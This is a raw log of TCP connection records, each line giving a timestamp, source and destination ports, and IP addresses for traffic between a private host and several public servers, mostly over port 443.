Dec 30, 2024 04:59:37.386559963 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.386569977 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.389556885 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.389561892 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.437705994 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.437800884 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.437844038 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.437902927 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.438354015 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.438492060 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.438544035 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.438544035 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.439977884 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.439985991 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.440191031 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.440442085 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.440445900 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.440512896 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.440658092 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.440778971 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.440798044 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.440992117 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.487328053 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.487335920 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.528722048 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.528788090 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.529026985 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.529031992 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.529160976 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.529165030 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.797255993 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.797311068 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.797324896 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.797368050 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.797374964 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.797410965 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.797418118 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.797444105 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.797460079 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.797485113 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.798012018 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.798027992 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.802261114 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.802335978 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.802356005 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.802393913 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.802438974 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.802470922 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.802519083 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.802906036 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.802987099 CET	443	49901	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.802990913 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.803024054 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.803064108 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.803091049 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.803519011 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.803554058 CET	443	49901	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.803653002 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.803669930 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.806523085 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.806574106 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.806581974 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.806616068 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.806648970 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.806677103 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.806716919 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.806976080 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.807003021 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.807064056 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.807205915 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:37.807215929 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:37.947566032 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.947613955 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.947640896 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.947649956 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.947658062 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.947686911 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.947690964 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.947721004 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.947724104 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.947752953 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.947765112 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.947786093 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.948123932 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.948133945 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.948452950 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.948493004 CET	443	49904	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.948553085 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.948715925 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:37.948726892 CET	443	49904	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.406790018 CET	443	49901	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.406853914 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.407242060 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.407269955 CET	443	49901	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.407279968 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.407346010 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.407401085 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.407413006 CET	443	49901	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.408376932 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.408440113 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.411252022 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.411257029 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.411588907 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.411673069 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.412007093 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.420206070 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.420269966 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.420861006 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.421019077 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.422931910 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.422941923 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.423166990 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.423218966 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.423501968 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.459328890 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.467358112 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.554559946 CET	443	49904	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.554625034 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.554881096 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.554888010 CET	443	49904	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.555031061 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.555036068 CET	443	49904	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.669063091 CET	80	49743	69.42.215.252	192.168.2.4
Dec 30, 2024 04:59:38.672208071 CET	49743	80	192.168.2.4	69.42.215.252
Dec 30, 2024 04:59:38.700297117 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.700474024 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.700572968 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.700716019 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.700727940 CET	443	49903	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.700737000 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.700781107 CET	49903	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.701257944 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.701313019 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.701380014 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.701576948 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.701591969 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.718756914 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.719023943 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.719049931 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.719094038 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.719347000 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.719379902 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.719536066 CET	443	49902	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.719593048 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.719593048 CET	49902	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.719861984 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.719932079 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.720000029 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.720177889 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:38.720211029 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:38.734867096 CET	49901	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.734880924 CET	49904	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.735272884 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.735358953 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.735671997 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.736351967 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.736380100 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.736460924 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.736737967 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.736769915 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:38.737051964 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:38.737060070 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.319813967 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.320900917 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.321238995 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.321249962 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.321392059 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.321396112 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.328524113 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.332909107 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.333205938 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.333226919 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.333348989 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.333362103 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.353396893 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.356935024 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.357172012 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.357203960 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.358824968 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.358839035 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.363220930 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.368910074 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.369159937 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.369164944 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.369302034 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.369307995 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.686697960 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.686747074 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.686760902 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.686800957 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.686866045 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.686896086 CET	443	49906	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.686948061 CET	49906	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.687357903 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.687391043 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.687463045 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.687771082 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.687786102 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.702990055 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.703058958 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703072071 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.703118086 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703171968 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703198910 CET	443	49907	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.703258038 CET	49907	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703751087 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703778028 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.703835964 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703984976 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:39.703994989 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:39.770999908 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.771038055 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.771054029 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.771061897 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.771085024 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.771104097 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.771116018 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.771157026 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.771189928 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.771207094 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.771727085 CET	49909	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.771738052 CET	443	49909	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.772206068 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.772228956 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.772285938 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.772470951 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.772483110 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.923904896 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.923944950 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.923970938 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.924041986 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.924068928 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.924077988 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.924107075 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.924127102 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.924602032 CET	49908	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.924638033 CET	443	49908	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.924962997 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.924988985 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:39.925041914 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.925225019 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:39.925241947 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.284137011 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.284198046 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.284780025 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.284828901 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.287789106 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.287801027 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.288008928 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.288888931 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.289160967 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.329593897 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.329659939 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.330230951 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.330287933 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.331335068 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.331784010 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.331790924 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.331988096 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.332036972 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.332406998 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.375334978 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.380743980 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.380963087 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.381309986 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.381316900 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.381448030 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.381453037 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.532937050 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.533128977 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.533365965 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.533374071 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.533514023 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.533519030 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.655627012 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.655838013 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.655930996 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.655961990 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.656066895 CET	443	49912	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.656152010 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.656193972 CET	49912	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.656770945 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.656795025 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.656884909 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.657080889 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.657092094 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.705136061 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.705192089 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.705219030 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.705238104 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.705293894 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.705310106 CET	443	49913	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.705319881 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.705355883 CET	49913	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.705725908 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.705813885 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.705892086 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.706088066 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:40.706126928 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:40.783883095 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.783921957 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.783941031 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.783952951 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.783968925 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.784001112 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.784008026 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.784045935 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.784954071 CET	49914	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.784965992 CET	443	49914	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.785587072 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.785634995 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.785708904 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.786037922 CET	49918	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.786053896 CET	443	49918	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.951127052 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.951167107 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.951211929 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.951222897 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.951255083 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.951306105 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.951961994 CET	49915	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.951972008 CET	443	49915	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.952378988 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.952397108 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:40.952450991 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.952678919 CET	49919	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:40.952689886 CET	443	49919	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:41.254061937 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.256980896 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.257273912 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.257281065 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.257443905 CET	49916	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.257447958 CET	443	49916	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.313822985 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.317008972 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.317168951 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.317200899 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.317305088 CET	49917	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:41.317322969 CET	443	49917	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:41.409204006 CET	443	49918	142.250.186.129	192.168.2.4
